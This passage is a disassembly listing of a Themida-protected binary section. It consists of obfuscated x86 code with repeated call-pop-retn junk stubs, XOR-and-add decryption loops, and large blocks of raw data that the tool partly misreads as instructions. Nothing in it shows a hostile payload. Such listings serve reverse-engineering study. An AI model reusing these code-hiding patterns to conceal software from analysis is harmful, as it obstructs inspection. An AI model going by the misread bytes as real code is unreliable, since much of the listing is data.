sub_591099	endp

; ---------------------------------------------------------------------------
		db 0DDh, 53h, 31h
		dd 12E595FFh, 9D8B060Fh, 60F1111h, 83FBBF0Fh, 0F27A1BDh
		dd 840F0006h, 34h, 0B7525096h, 66310FCDh, 585AF98Bh, 47BF6650h
		dd 6A96F1h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0BD8BC5C3h, 60F1EA9h, 0BAC6B5FFh,	6A0612h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 3F4A8BC3h, 0D62118A4h, 1595FF0Fh, 0F060F34h,	188Ah
		dd 128E0F00h, 0E9000000h, 0Dh, 783D39D7h, 9FEA7147h, 92D86E1h
		dd 0C6B5FFF8h, 6A0612BAh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 55DFC355h, 0BF6652D8h
		dd 95FF0896h, 60F0AF5h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 49C35343h, 0CA84F5BCh, 0E9FCEC00h, 12h
		dd 0D79AD018h, 59BEE86Bh, 968354Ah, 90B6CCEDh, 0D3B3C761h
		dd 7A9BD83h, 0F02060Fh,	3984h, 58D0100h, 8B060F2Bh, 0F226DBDh
		dd 8D858B06h, 6A060F2Ch, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0B45DC355h,	0AAE7818Ch
		dd 0C607B375h, 85C70000h, 60F106Dh, 0
		dd 0F99BD8Bh, 51E9060Fh, 6AFFFFF3h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 1978C351h
		dd 6E8FBB1Bh, 823ABB66h, 9D2BC18Bh, 60F2C09h, 1461858Dh
		dd 8529060Fh, 60F2C59h,	12830F90h, 0E8000000h, 0Ah, 2B8CC93Fh
		dd 0EF1BAD26h, 6160C9ABh, 5F57505Bh, 95896090h,	60F2A31h
		dd 6A61CC8Ah, 4D9D0B00h, 6A060F2Dh, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 5F3D36E0h
		dd 0D9CCBE65h, 93858D4Ah, 6A061365h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8987C357h
		dd 0F10F595h, 0D3816606h, 0C083E782h, 8A90F505h, 0EE950F8h
		dd 0B4000000h, 5BF51D38h, 2F2A877Ch, 19BFF7FAh,	0BF669040h
		dd 6AF8D4h, 16C5BD2Bh, 6A060Fh,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 0B7C35040h,	5F424665h, 1E8F0F10h
		dd 0E8000000h, 7, 0EB23947Eh, 0E929611Ah, 0Ch, 0CE416558h
		dd 7624D5Ah, 0A3692372h, 95FFF55Fh, 60F348Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 9EC35040h, 0ED9D09B8h
		dd 5BF6618h, 5E8D8DADh,	6A061298h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 12D2C352h
		dd 380BEA25h, 9529043Ah, 60F2B3Dh, 6AD1FFh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 61DAE5C3h
		dd 0CD5E6169h, 0BF0F59CFh, 0DABF0FFEh, 21ADBD83h, 0F01060Fh
		dd 9085h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 766D12AAh, 96A46D08h, 13E9026Ah
		dd 7B000000h, 0AE01AC6Bh, 54FA3A4Eh, 0D8513194h, 7FDE250Eh
		dd 9D23C981h, 60F2DADh,	2800F50h, 0B3000000h, 24048920h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 57C35747h
		dd 7FAA9EAFh, 95FFD9FDh, 60F30FDh, 0DE8h, 762ABC00h, 41BFEF6Fh
		dd 505A3E0h, 0BD8B7A37h, 60F23C9h, 0D9DE95Fh, 0E80000h
		dd 5D000000h, 659DED81h, 89F50613h, 0F090585h, 47858D06h
		dd 0F061288h, 0F50DBBFh, 487h, 0CABF6600h, 24048952h, 4840Fh
		dd 0BB660000h, 8B510777h, 0F11CDBDh, 0FF645B06h, 35h, 1D8D3100h
		dd 64060F1Dh, 2589h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 0A4109CC3h, 0D28DA20Bh
		dd 34618589h, 0E860060Fh, 12h, 562198B2h, 0BA04DF38h, 0CE62566h
		dd 2115E12Ch, 6E9F3E9h,	7C000000h, 83CCC8D5h, 0CA8A5B84h
		dd 5985FF61h, 6A060F24h, 50006AFFh, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0F09BAE9h, 8BBE6F1Fh
		dd 0F3381BDh, 0F5B5FF06h, 6A060F31h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 380DC357h
		dd 15D4BF5Ch, 30759D23h, 35BB060Fh, 0FF326469h,	0F145595h
		dd 11BE906h, 9D8B0000h,	60F0005h, 0BF0F00B0h, 8B70E6F9h
		dd 8B71E4FBh, 0F1D85BDh, 0F19D8B06h, 3C060F29h,	0F6830F61h
		dd 3000000h, 0F0865BDh,	0C8B60F06h, 30099D89h, 6BA060Fh
		dd 60000000h, 9851F281h, 0BB66000Dh, 8B61646Ah,	18589C1h
		dd 0C1060F31h, 0E78104E8h, 0B3B7061h, 8BE2F766h, 0F08E1BDh
		dd 0FCC82B06h, 0BD8BD18Bh, 60F1269h, 2C41BD33h,	0E9060Fh
		dd 8B000000h, 0F27B985h, 0CD8D8906h, 66060F00h,	83AAB0BBh
		dd 0BD2307C0h, 60F101Dh, 8B00C083h, 0F23C19Dh, 0FD03B06h
		dd 2F83h, 12E95200h, 81000000h,	23F73E9Fh, 2AA7B85Ch, 0D9B8CE4Fh
		dd 673A6DEEh, 81665BF4h, 0E96CCED7h, 59h, 68E0Fh, 95010000h
		dd 60F18D9h, 198D8Bh, 0D780060Fh, 1E183AFh, 3B840Fh, 9D890000h
		dd 60F3125h, 0D034EF81h, 0A5836C4Eh, 60F0019h, 12E9FEh
		dd 0A320000h, 7A4B55B8h, 5EB4972Ch, 25F2E02Ah, 296AA08Ah
		dd 27B99589h, 9D8B060Fh, 60F2CE9h, 0E9h, 1B58D00h, 6A0612EDh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 628AC355h, 3E2000EEh, 2EADBD23h, 6A060Fh
		dd 0D8DB8166h, 5195FF9Fh, 66060F34h, 888ECF81h,	0EFEB8166h
		dd 718B94Eh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 3EAF77C3h, 7C064C87h, 0E5958980h
		dd 83060F01h, 0BF0FFCE1h, 850FFCFEh, 5,	28EF8166h, 0B885h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 32C59CC3h, 5ACB81C2h, 0B301731Ch,	0BA5Ah
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 73EABDC3h, 0CC9D0E80h, 0DE8C6h, 314C0000h
		dd 77A46C99h, 0B9460AE8h, 0E8D5C0AFh, 11h, 0A8BDB7E7h
		dd 43FAE3B8h, 6E1DD302h, 0C4D450BBh, 1CBF6662h,	575B5BFCh
		dd 6870Fh, 9D8B0000h, 60F0081h,	0C233AD5Fh, 0D003E8D1h
		dd 7504E983h, 51006AF4h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 0D988099Dh, 0D7FB2C9Eh, 0BD8B88E2h
		dd 60F14C1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	66C35242h, 95DC24C4h, 7A72BF8Fh, 880D02F7h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0EE4FC350h, 5D7F4ACBh, 9850FDBh, 0F000000h
		dd 38Eh, 0DEBF0F00h, 2C65958Bh,	0BD8B060Fh, 60F3411h, 7C18D8Bh
		dd 29F8060Fh, 0F17898Dh, 0C28B5006h, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 6A58188Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 8EE2C350h, 11E97B1Dh
		dd 0C8000000h, 0CEF4BE5Dh, 9575D697h, 20C59AAEh, 43C04Dh
		dd 6DA1BF66h, 344D9589h, 9589060Fh, 60F3131h, 2AD5BD83h
		dd 0F00060Fh, 4784h, 0C1858900h, 0B8060F10h, 0
; ---------------------------------------------------------------------------
		cmc
		lea	ecx, [ebp+60F4CA7h]
		mov	edi, [ebp+60F2C1Dh]
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5918D2
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5918D2	proc near		; CODE XREF: Themida_:005918CAp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5918D2	endp

; ---------------------------------------------------------------------------
		sbb	eax, 0E43EBAECh
		inc	eax
		sub	ebx, 709C4C80h
		add	[ebp+60F32B5h],	eax
		cmp	dword ptr [ebp+60F2491h], 0
		jz	loc_591D19
		cmp	dword ptr [ebp+60F2491h], 1
		jz	loc_591D34
		push	0
		push	edi
		call	sub_591919
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_591919	proc near		; CODE XREF: Themida_:00591911p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_591919	endp

; ---------------------------------------------------------------------------
		db 73h,	0B2h, 0BEh
		dd 0BD837263h, 60F2491h, 0C3860F03h, 66000003h,	0FC60DA8Bh
		dd 0D98C66FCh, 32D99D89h, 0E180060Fh, 51006A04h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 0A8556FBCh, 0EAEC6D80h, 11E9828Ch, 0FF000000h, 83B1F70Ch
		dd 8AAA5B9Bh, 9253685Fh, 0D192518Bh, 0D318D09h,	0C90A060Fh
		dd 0FD840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 369BF0C3h, 1F339E96h, 0BD8BDD63h
		dd 60F2729h, 2DA9858Bh,	6A060Fh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 3FCECCC3h, 8166F918h
		dd 33C411CFh, 0F19AD85h, 4BAFBF06h, 509071E3h, 848BF66h
		dd 6850F90h, 8B000000h,	0F130D9Dh, 66006A06h, 72BCD781h
		dd 7A34BB68h, 0AE8D6h, 0E9680000h, 55D29C04h, 18A68EBDh
		dd 9B749EBBh, 4815F35h,	0A4CF4424h, 0FFDE8B29h,	0F34C995h
		dd 0D98B6606h, 0BAC68589h, 6A0612h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 70595C3h
		dd 9529366Fh, 60F07ADh,	1F9E9h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 6DB2103Ah
		dd 8D8D8916h, 8B060F01h, 12BABE85h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 9C129301h
		dd 850F8CA0h, 2, 0C7FA8Bh, 18h,	721B53BFh, 0C2B58B6Dh
		dd 0BB0612BAh, 2E335905h, 2FA9858Bh, 6A060Fh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 6690F2C3h
		dd 9E7DB81h, 81660689h,	8B66FEF3h, 0F2DA985h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0B589FD6Dh, 60F32BDh, 44689F8h, 0BB6696F8h, 6650C8EAh
		dd 96BB77BFh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Ch,	7CC35646h, 9408B7CCh, 26D5FAC5h, 102D9D01h, 8956060Fh
		dd 0F1D9585h, 0B5FF5B06h, 612BABEh, 68FE8B66h, 28C25711h
		dd 0EE243481h, 6A28DD54h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 8D98C353h, 0B796B140h
		dd 6880FA2h, 89000000h,	0F188D95h, 89ADB706h, 0F094185h
		dd 0C6858D06h, 6A0612BAh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 9933C353h, 7E2AD40Eh
		dd 0FA8B66CCh, 8F4BBB90h, 6650109Fh, 6A90DF8Bh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 3798C357h, 0E9E81997h, 8, 9B2C3EB2h,	57E11EF2h, 1950960h
		dd 66060F22h, 3187CE81h, 0C995FF61h, 6A060F34h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 6221C352h, 52A9AC53h, 95315FBFh, 860F5F50h, 6, 865BD89h
		dd 6A61060Fh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0C217C357h, 0ADF5D794h, 95013628h
		dd 60F1AD1h, 34F1B529h,	85C7060Fh, 60F2491h, 3,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0A3C35343h, 68C0FFCh
		dd 8B000000h, 0F1295BDh, 0C6BD8306h, 612BAh, 28840Fh, 9D890000h
		dd 60F00E5h, 38E9h, 14E800h, 0D11B0000h, 4DF6FACCh, 0BC8FA46h
		dd 3CAB9466h, 0A378596Ch, 8B668F9Dh, 30505FF8h,	4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		db 36h
; ---------------------------------------------------------------------------


loc_591D19:				; CODE XREF: Themida_:005918FBj
					; Themida_:00591D30j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_591D19
		jmp	short loc_591D4F
; ---------------------------------------------------------------------------


loc_591D34:				; CODE XREF: Themida_:00591908j
					; Themida_:00591D4Bj
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_591D34
		jmp	short $+2


loc_591D4F:				; CODE XREF: Themida_:00591D32j
		mov	eax, eax
		mov	edi, [ebp+60F27F9h]
		push	0
		push	ebx
		call	sub_591D62
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_591D62	proc near		; CODE XREF: Themida_:00591D5Ap

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_591D62	endp

; ---------------------------------------------------------------------------
		mov	al, 91h
		push	edx
		or	bl, al
		mov	eax, ds:7A51C3E0h
		mov	edi, [ebp+60F135Dh]
		cmp	dword ptr [ebp+60F2491h], 3
		jnz	loc_5921D3
		push	0
		push	ebp
		call	sub_591D9A
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_591D9A	proc near		; CODE XREF: Themida_:00591D92p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_591D9A	endp

; ---------------------------------------------------------------------------
		add	[ebx], esi
		mov	ebp, 60F0B0Dh
		cmp	dword ptr [ebp+612BAC6h], 0
		jz	loc_5921D3
		push	0
		push	eax
		call	sub_591DC9
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_591DC9	proc near		; CODE XREF: Themida_:00591DC1p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_591DC9	endp

; ---------------------------------------------------------------------------
		db 7Eh,	0DFh, 0Ah
; ---------------------------------------------------------------------------
		and	ebp, [ebx]
		popf
		jnz	short loc_591E0D
		clts
		push	dword ptr [ebp+612BAC6h]
		push	0
		push	edx
		call	sub_591DF4
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_591DF4	proc near		; CODE XREF: Themida_:00591DECp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_591DF4	endp

; ---------------------------------------------------------------------------
		dd 1701A7B5h, 777048E2h
		db 33h
; ---------------------------------------------------------------------------


loc_591E0D:				; CODE XREF: Themida_:00591DDFj
		popf
		or	gs:[edi], ecx
		push	es
		call	dword ptr [ebp+60F27FDh]
		mov	[ebp+60F1851h],	ebx
		mov	esi, [ebp+612BABAh]
		push	0
		push	edi
		call	sub_591E2F
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_591E2F	proc near		; CODE XREF: Themida_:00591E27p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_591E2F	endp

; ---------------------------------------------------------------------------
		db 41h
		dd 54A8B9F9h, 8AD5542h,	0EE9h, 0C6F43600h, 0BDBEB22h, 511E22EBh
		dd 0C7BE3DCFh, 1000106h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 634CD21Dh, 876CA238h
		dd 96FE8B66h, 5050F5B3h, 0FE8B6652h, 585A310Fh,	0D98B6696h
		dd 19C98D89h, 0B5FF060Fh, 612BAC6h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 92C35343h, 9589363Ah, 60F1165h
		dd 130195FFh, 9D89060Fh, 60F2ED1h, 8BF88B66h, 12BABAB5h
		dd 0F5BF6606h, 15858B99h, 89060F1Dh, 0C486h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0E4D0C23Bh, 0BB6660A2h, 8B669AACh, 65958BDEh, 6A060F2Ch
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 1B86C351h, 83F5460Eh, 6A04C2h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0B4067C3h
		dd 0BB666057h, 810FDDD1h, 0
; ---------------------------------------------------------------------------
		popa
		pop	edi
		mov	[eax+20h], edx
		lea	eax, [ebp+612CF14h]
		push	0
		push	edi
		call	sub_591F7E
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_591F7E	proc near		; CODE XREF: Themida_:00591F76p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_591F7E	endp

; ---------------------------------------------------------------------------
		dw 0F6DDh
		dd 0B58901CEh, 60F2255h, 0B88689h, 0B70F0000h, 0E9006AFEh
		dd 0Ah,	85DE0BC0h, 0F729B743h, 0B5FFE124h, 612BAC6h, 95FFFA8Ah
		dd 60F30FDh, 1DF19531h,	0E996060Fh, 0Fh, 13A418B1h, 860A28F1h
		dd 2A543040h, 504E82FEh, 0BE9h,	0DFB1FB00h, 10CED787h
		dd 98C99366h, 51006A96h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 9189E25Eh, 90CDD929h, 0C380569Eh
		dd 0B5FF5FC9h, 612BAC6h, 0FFFFBF0Fh, 0F12E595h,	2DBD0306h
		dd 83060F21h, 0F27A1BDh, 840F0006h, 3Ah, 30ADBD89h, 0BB50060Fh
		dd 1C439FEBh, 6A243489h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 2671C351h, 741FEE1Bh
		dd 0B8C1142Eh, 1C05BD8Bh, 0B5FF060Fh, 612BAC6h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0D6C35343h, 16FAEC5Dh
		dd 7A28C1A4h, 0CB81666Bh, 800F4C60h, 0Eh, 69850960h, 8B060F32h
		dd 0F28C18Dh, 0BF0F6106h, 1595FFDBh, 6A060F34h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0FFBDC357h, 12BAC6B5h, 0CE906h, 0B8660000h, 0EF84C81h
		dd 5C2AC205h, 95FF8931h, 60F0AF5h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0DBC35545h,	5606D636h, 9D299487h
		dd 60F22F9h, 7A9BD83h, 0F02060Fh, 9684h, 0BE800h, 8FEB0000h
		dd 2C6EF41Eh, 0E891062Bh, 13E954h, 8AB70000h, 0B06E30DAh
		dd 2B1DBEC4h, 47763251h, 0B34A27EFh, 858B5BD9h,	60F2C8Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0A8C35545h
		dd 7082C006h, 2F14FCC1h, 1880F84h, 0F5000000h, 1B9DBD01h
		dd 0C6060Fh, 50006A00h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 48CE9F91h, 8960F14Ch, 0F2291B5h
		dd 2BF68006h, 619D0161h, 0C7060F1Eh, 0F106D85h,	6, 0F9BD3300h
; ---------------------------------------------------------------------------
		daa
		clts


loc_5921D3:				; CODE XREF: Themida_:00591D89j
					; Themida_:00591DB8j
		jmp	near ptr dword_591204+303h
; ---------------------------------------------------------------------------
		mov	ebx, edx
		mov	eax, ecx
		push	0
		push	eax
		call	sub_5921E7
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5921E7	proc near		; CODE XREF: Themida_:005921DFp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5921E7	endp

; ---------------------------------------------------------------------------
		cmp	dl, bl
		xor	[ebp+60F322Dh],	eax
		lea	eax, [ebp+60F1461h]
		push	0
		push	ebp
		call	sub_592210
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_592210	proc near		; CODE XREF: Themida_:00592208p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_592210	endp

; ---------------------------------------------------------------------------
		leave
		popa
		db	3Eh
		mov	ebx, eax
		jg	loc_592237
		jmp	loc_592237
; ---------------------------------------------------------------------------
		and	al, 52h
		mov	edi, 2595528Ah


loc_592237:				; CODE XREF: Themida_:00592225j
					; Themida_:0059222Bj
		nop
		push	eax
		pusha
		jmp	loc_59224E
; ---------------------------------------------------------------------------
		db 7Dh
		dd 7094B5C4h, 5CEB2E3h,	663BC382h
		db 84h,	8Dh
; ---------------------------------------------------------------------------


loc_59224E:				; CODE XREF: Themida_:0059223Aj
		jmp	loc_592261
; ---------------------------------------------------------------------------
		db 27h
		dd 7F4F41F4h, 0DD9A16C8h, 5E332F59h
		db 0EFh
; ---------------------------------------------------------------------------


loc_592261:				; CODE XREF: Themida_:loc_59224Ej
		popa
		nop
		push	0
		push	eax
		call	sub_59226E
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59226E	proc near		; CODE XREF: Themida_:00592266p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_59226E	endp

; ---------------------------------------------------------------------------
		and	al, 0F1h
		wait
		add	[ecx+62A53D3h],	eax
		imul	ecx, [ecx+0F173DB5h], 81006A06h
		jmp	short loc_592294
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_592294:				; CODE XREF: Themida_:00592291j
		shl	byte ptr [ecx+eax*4], 1
		fild	qword ptr [eax+6A2C7A28h]
		add	[esi-45h], ah
		jo	short loc_5922E4
		lea	eax, [ebp+6137586h]
		xor	[ebp+60F1011h],	ebx
		add	eax, 5
		push	0
		push	ebp
		call	sub_5922BC
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5922BC	proc near		; CODE XREF: Themida_:005922B4p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5922BC	endp

; ---------------------------------------------------------------------------
		dd 591A7324h, 0BE6ED6AEh, 10E890h, 88C70000h, 0C42209D7h
		dd 0D211D220h
; ---------------------------------------------------------------------------


loc_5922E4:				; CODE XREF: Themida_:005922A0j
		js	short loc_592358
; ---------------------------------------------------------------------------
		dw 1AFEh
; ---------------------------------------------------------------------------
		xchg	dl, al
		pusha
		mov	al, dh
		mov	ax, 0BFAEh
		popa
		pop	ebx
		push	eax
		nop
		sub	[ebp+60F334Dh],	edx
		push	0
		push	0
		push	edi
		call	sub_592308
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_592308	proc near		; CODE XREF: Themida_:00592300p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_592308	endp

; ---------------------------------------------------------------------------
		xor	eax, 74BF006Ah
		nop
		jno	short near ptr loc_592336+6
		call	dword ptr [ebp+60F348Dh]
		push	0
		push	edx
		call	sub_592331
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_592331	proc near		; CODE XREF: Themida_:00592329p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx


loc_592336:				; CODE XREF: Themida_:0059231Ej
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_592331	endp

; ---------------------------------------------------------------------------
		mov	cl, 0A6h
		mov	[ebp+49BD335Ah], edi
		or	[edi], ecx
		push	es
		add	ebx, [ebp+60F0B71h]
		lea	ecx, [ebp+612985Eh]


loc_592358:				; CODE XREF: Themida_:loc_5922E4j
		push	0
		push	ecx
		call	sub_592363
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_592363	proc near		; CODE XREF: Themida_:0059235Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_592363	endp

; ---------------------------------------------------------------------------
		db 0F6h
		dd 6D59FB0Eh, 0BBFD812Bh, 99BD0919h, 0FF060F10h, 51006AD1h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 0ADBD83C4h, 1060F21h, 0A2850Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0FFCE2C3h
		dd 0F32AE368h, 0F6CB196h, 158Eh, 10E900h, 42C30000h, 0A22034BAh
		dd 78917644h, 4A2930ABh, 0B5896CE5h, 60F1F25h, 6A026Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0C5D82EC3h, 8D897E66h, 60F26A9h, 0FA8B6690h,	0F6B86050h
		dd 0E9711EBBh, 12h, 0C9FA0140h,	69F7D471h, 0C61FB0AFh
		dd 8257496Bh, 9061D7EDh, 84A0BF66h, 30FD95FFh, 9D8B060Fh
		dd 60F33F1h, 0EF9E9h, 0E800h, 815D0000h, 137590EDh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 6AF87481h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 9142C350h, 0F34F42Ch, 183h, 858DF900h
		dd 6128847h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	64C35242h, 0F28EB1E8h, 66414DD3h, 393CB0BBh, 0DA8B901Ah
		dd 0EE950h, 572E0000h, 40906F91h, 5BB2FEDAh, 8B4AAFE3h
		dd 5890F90h, 0BB000000h, 19D48F4h, 11DD9D8Bh, 0FF64060Fh
		dd 35h,	52006A00h, 3E8h, 0C35A2000h, 2454895Ah,	24448104h
		dd 1404h, 0C3524200h, 0F2BB7F9h, 282h, 891BB700h, 0F2CDD8Dh
		dd 25896406h, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_592543
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_592543	proc near		; CODE XREF: Themida_:0059253Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_592543	endp

; ---------------------------------------------------------------------------
		dec	esi
		mov	dh, 0D2h
		mov	[ebp+60F168Dh],	eax
		mov	ebx, [ebp+60F0091h]
		mov	ebx, [ebp+60F3045h]
		inc	dword ptr [ebp+60F2459h]
		push	0
		push	edi
		call	sub_592579
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_592579	proc near		; CODE XREF: Themida_:00592571p

arg_4		= dword	ptr  8

